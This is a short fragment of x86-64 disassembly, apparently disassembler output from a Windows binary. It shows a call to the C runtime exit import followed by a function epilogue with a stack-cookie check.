call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140020560
add rsp, 0x30
pop rbx
ret